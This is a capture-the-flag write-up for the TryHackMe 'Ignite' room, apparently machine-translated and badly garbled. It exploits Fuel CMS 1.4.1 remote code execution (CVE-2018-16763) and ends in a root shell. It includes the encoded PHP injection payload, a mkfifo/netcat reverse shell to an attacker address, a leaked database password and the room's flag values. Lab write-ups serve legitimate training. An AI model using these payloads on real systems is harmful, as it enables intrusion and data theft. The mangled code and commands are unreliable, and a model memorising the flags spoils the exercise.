[CVE-2018-16763]燃料CMS 1.4.1-我将远程代码执行（1）转换为Python 3并入侵它！ Tryhackme Ignite写作

┌ - ─（hacklab㉿hacklab） -  [〜/tryhackme/ignite]└─$ nmap -pn -pn -t4 -a -a 10.10.251.170开始NMAP 7.92（https://nmap.org），在2023-08-08-07 23:01 jst nmap scan in 10.10.10.10.251.11.251.11.17.251.11.17.251.11.17.251.11.17.251。延迟）。未显示：999封闭的TCP端口（Conn-Refused）端口状态服务版本80/TCP OPEN HTTP APACHE HTTPD 2.4.18（（（UBUNTU））| _http-server-header：apache/2.4.18（ubuntu）| http-robots.txt：1不允许的条目| _/ fuel/ | _http-title：欢迎执行的燃料CMS服务检测。请在https://nmap.org/submit/上报告任何不正确的结果。 NMAP完成：1个IP地址（1个主机UP）在53.84秒内进行扫描

┌前（hacklab㉿hacklab） -  [〜/tryhackme/ignite]└─$ searchsploit燃料CMS 1.4 ------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------执行（3）| php/webApps/50477.py燃料CMS 1.4.13-'Col'盲sql注入（认证）| PHP/WebApps/50523.TXT燃料CMS 1.4.7-'Col'SQL注入（认证）| php/webApps/48741.txt燃料CMS 1.4.8-'fuel_replace_id'SQL注入（身份验证）| php/webApps/48778.txt ----- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

┌ - （hacklab㉿hacklab） -  [〜/tryhackme/ignite]└─$ locate 47138 /home/hacklab/.cache/mozilla/firefox/yr8wkpln.default-esr/cache2/entries/8F026053F2471384208F4944898B7A4E7F607EEB /usr/share/exploitdb/exploits/linux/webapps/47138.py （hacklab㉿hacklab） -  [〜/tryhackme/ignite]└─$ cp/usr/share/exploitdb/exploits/linux/webapps/47138.py./47138.py ./┌ hacklab hacklab 1004 8月7日23:30 47138.py

┌ - （hacklab㉿hacklab） -  [〜/tryhackme/ignite]└─$ sudo apt-apt-get install 2to3

（hacklab㉿hacklab） -  [〜/tryhackme/ignite]└─$ 2to3 -w 47138.py/usr/usr/bin/bin/2to3：3：expecationWarnning：expecationWarning：lib2to3 pockage extreceprecept extreceprect equarcect offect offect offect ofercect ofercect ofercect ofercect ofercect ofercept ofercect.重新安装工具：跳过可选的修复程序：IDOM REDACTORIONTOOL：跳过可选修复程序：SET_LITERAL REDACTORIONTOOL：set_Literal RepactoringTool：ws_comma RefactoringTool：WS_Comma RefactoringTool：重构47138.py---------- 47138.py（原始）++++ + +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +47138.py（refactore） +导入urllib.request，urllib.parse，urllib.error url =“ http：//127.0.0.0.1:8881” def find_nth_overlapping（haystack，neade，n）：@@ @ @ @ @ @ @ @ @ @ -20,8 +20,8 +20,8 @@返回1 :-- xxxx = raw_input = raw_input = raw_input = raw_input = raw_input = raw_input = raw_input = raw_input。 url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27" + xxxx =输入（'cmd：'） + burp0_url = url+“/fuel/pages/select/？filter =％27％2B％70％69％28％70％72％69％6E％74％28％24％24％61％3D％27％ 73％79％73％74％65％6D％27％29％2B％24％61％28％27“+urllib.parse.Quote（xxxx）+“％27％29％29％2B％27” proxy = {“ http”：“ http：//127.0.0.0.1：8080”} r = requests.get（burp0_url，proxies = proxy）@@ -31,4 +31,4 +31,4 @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @打印（R.Text [0：dup]）RefactoringTool：修改的文件：RefactoringTool：47138.py

┌──(hacklab㉿hacklab)-[~/tryhackme/ignite] └─$ ll Total 8 -rwxr-xr-x 1 hacklab hacklab 1043 August 7 23:34 47138.py -rwxr-xr-x 1 hacklab hacklab 1004 August 7 23:30 47138.py.bak

┌──(hacklab㉿hacklab)-[~/tryhackme/ignite] └─$ cat 47138.py # Exploit Title: fuel CMS 1.4.1 - Remote Code Execution (1) # Date: 2019-07-19 # Exploit Author: 0xd0ff9 # Vendor Homepage: https://www.getfuelcms.com/ # Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1 # Version: <= 1.4.1 # Tested on: Ubuntu - Apache2 - php5 # CVE : CVE-2018-16763 import requests import urllib.request, urllib.parse, urllib.error url = “ http://10.10.251.170”＃更改def find_nth_overlapping（haystack，neader，n）：start = haystack.find（针）shart> = 0 and> = 0 and n> 1：start = start = haystack.find（haystack.find（haystack.find） url+“/fuel/pages/select/？filter =％27％2B％70％69％28％70％72％69％6E％74％28％24％24％61％3D％27％ 73％79％73％74％65％6D％27％29％2B％24％61％28％27“+urllib.parse.Quote（xxxx）+“％27％29％29％2B％27” ＃proxy = {“ http”：“ http：//127.0.0.1：8080”}＃更改r = requests.gets.get（burp0_url）＃更改html =”<!DOCTYPE html> “ htmlcharset = r.text.find（html）begin = r.text [0:20] dup = find_nth_overlapping（r.text，begin，2）print（r.text [0：dup]）

┌ - （hacklab㉿hacklab） -  [〜/tryhackme/ignite]└─$ python3 47138.py cmd：whoami systemwww-data<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;"><h4>遇到了PHP错误</h4><p>严重性：警告</p><p>消息：preg_match（）：定界符不得是字母数字或后斜线</p><p>文件名：控制器/Pages.php（924）：运行时创建的功能</p><p>行号：1</p><p> backtrace：</p><p style="margin-left:10px">文件：/var/www/html/fuel/modules/fuel/controllers/pages.php(924）：Runtime-Created函数<br />线：1<br />功能：preg_match</p><p style="margin-left:10px">文件：/var/www/html/fuel/modules/fuel/controllers/pages.php<br />线：932<br />功能：array_filter</p><p style="margin-left:10px">文件：/var/www/html/index.php<br />线：364<br />功能：require_once</p></div>

CMD：PWD System/var/www/html<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;"><h4>遇到了PHP错误</h4><p>严重性：警告</p><p>消息：preg_match（）：定界符不得是字母数字或后斜线</p><p>文件名：控制器/Pages.php（924）：运行时创建的功能</p><p>行号：1</p><p> backtrace：</p><p style="margin-left:10px">文件：/var/www/html/fuel/modules/fuel/controllers/pages.php(924）：Runtime-Created函数<br />线：1<br />功能：preg_match</p><p style="margin-left:10px">文件：/var/www/html/fuel/modules/fuel/controllers/pages.php<br />线：932<br />功能：array_filter</p><p style="margin-left:10px">文件：/var/www/html/index.php<br />线：364<br />功能：require_once</p></div>

┌-（hacklab㉿hacklab） -  [〜]└─$ nc -nlvp 4444在[任何] 4444 ...

CMD：RM -F/TMP/F; MKFIFO/TMP/F; CAT/TMP/F |/BIN/SH -I 2>＆1 | NC 10.18.110.90 4444>/tmp/f

（hacklab㉿hacklab） -  [〜]└─$ nc -nlvp 4444在[Any] 4444 ...连接到[10.18.110.90]上，来自（未知）[10.10.251.170] 34426 /bin /bin /sh：0：无法访问tty;工作控制关闭$ WHOAMI www-data $ ls readme.md Assets composer.json produting.md fuel index.php robots.txt

$ python -c'导入; 

www -data@ubuntu：/var/www/html $ ^z zsh：暂停NC -NLVP 4444

┌┌前（hacklab㉿hacklab） -  [〜]└─$ echo $ term xterm-256color

┌ - ─（hacklab㉿hacklab） -  [〜]└─$ stty raw -echo; FG [1] +续NC -NLVP 4444导出项= XTerm -256Color

www-data@ubuntu：/var/www/html $ export shell = bash

www-data@ubuntu：/$ cd/home/www-data/www-data@ubuntu：/home/home/www-data $ ls flag.txt

www-data@ubuntu：/home/www-data $ cat flag.txt 6470E394CBF6DAB6A91682CC8585059B

www-data@ubuntu：/home/www-data $ cat/var/www/html/fuel/application/config/datse.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); /* | ------------------------------------------------------------------- | DATABASE CONNECTIVITY SETTINGS | ------------------------------------------------------------------- | This file will contain the settings needed to access your database. | | For complete instructions please consult the 'Database Connection' | page of the User Guide. | | ------------------------------------------------------------------- | EXPLANATION OF VARIABLES | ------------------------------------------------------------------- | | ['dsn'] The full DSN string describe a connection to the database. | ['hostname'] The hostname of your database server. | ['username'] The username used to connect to the database | ['password'] The password used to connect to the database | ['database'] The name of the database you want to connect to | ['dbdriver'] The database driver. e.g.: mysqli. | Currently supported: | cubrid, ibase, mssql, mysql, mysqli, oci8, | odbc, pdo, postgre, sqlite, sqlite3, sqlsrv | ['dbprefix'] You can add an optional prefix, which will be added | to the table name when using the Query Builder class | ['pconnect'] TRUE/FALSE - Whether to use a persistent connection | ['db_debug'] TRUE/FALSE - Whether database errors should be displayed. | ['cache_on'] TRUE/FALSE - Enables/disables query caching | ['cachedir'] The path to the folder where cache files should be stored | ['char_set'] The character set used in communicating with the database | ['dbcollat'] The character collation used in communicating with the database | NOTE: For MySQL and MySQLi databases, this setting is only used | as a backup if your server is running PHP < 5.2.3 or MySQL < 5.0.7 | (and in table creation queries made with DB Forge). | There is an incompatibility in PHP with mysql_real_escape_string() which | can make your site vulnerable to SQL injection if you are using a | multi-byte character set and are running versions lower than these. | Sites using Latin-1 or UTF-8 database character set and collation are unaffected. | ['swap_pre'] A default table prefix that should be swapped with the dbprefix | ['encrypt'] Whether or not to use an encrypted connection. | | 'mysql' (deprecated), 'sqlsrv' and 'pdo/sqlsrv' drivers accept TRUE/FALSE | 'mysqli' and 'pdo/mysql' drivers accept an array with the following options: | | 'ssl_key' - Path to the private key file | 'ssl_cert' - Path to the public key certificate file | 'ssl_ca' - Path to the certificate authority file | 'ssl_capath' - Path to a directory containing trusted CA certificats in PEM format | 'ssl_cipher' - List of *allowed* ciphers to be used for the encryption, separated by colons (':') | 'ssl_verify' - TRUE/FALSE; Whether verify the server certificate or not ('mysqli' only) | | ['compress'] Whether or not to use client compression (MySQL only) | ['stricton'] TRUE/FALSE - forces 'Strict Mode' connections | - good for ensuring strict SQL while developing | ['ssl_options'] Used to set various SSL options that can be used when making SSL connections. | ['failover'] array - A array with 0 or more data for connections if the main should fail. | ['save_queries'] TRUE/FALSE - Whether to "save" all executed queries. | NOTE: Disabling this will also effectively disable both | $this-> db-> last_query（）和数据库查询的分析。 |当您运行查询时，此设置设置为true（默认），| CodeIgniter将存储SQL语句以进行调试目的。 |但是，这可能会导致高内存使用量，尤其是在运行|许多SQL查询...禁用此问题以避免此问题。 | | $ active_group变量使您可以选择哪个连接组|使活跃。默认情况下，只有一组（'默认'| | $ query_builder变量可让您确定是否加载| Query Builder类。 */ $ active_group ='default'; $ query_builder = true; $ query_builder = true; $ db ['default''''''''''dsn'''''''''''''''''''''''''''''''''''''''''' 'password' => 'mememe', 'database' => 'fuel_schema', 'dbdriver' => 'mysqli', 'dbprefix' => '', 'pconnect' => FALSE, 'db_debug' => (ENVIRONMENT !== 'production'), 'cache_on' => FALSE, 'cachedir' => '', 'char_set' => 'utf8'，'dbcollat'=>'utf8_general_ci'，'swap_pre'=>''，'engrypt'=> false，'compress'=> false，'stricton'=> false，'drafover'=> array'=> array（） @include（tester_path.'config/tester_database'.ext）;

www-data@ubuntu：/home/www-data $ su root密码：root@ubuntu：/home/www-data＃

root@ubuntu:/home/www-data# cd /root root@ubuntu:~# ll total 32 drwx------ 4 root root 4096 Jul 26 2019 ./ drwxr-xr-x 24 root root 4096 Jul 26 2019 ../ -rw----------- 1 root root 357 Jul 26 2019 .bash_history -rw------ 1 root root 3106 Oct 22 2015 .bashrc drwx -------- 2根4096 2月26日2019年2月26日。

root@ubuntu：〜＃cat root.txt b9bbcb33e11b80be759c4e844862482d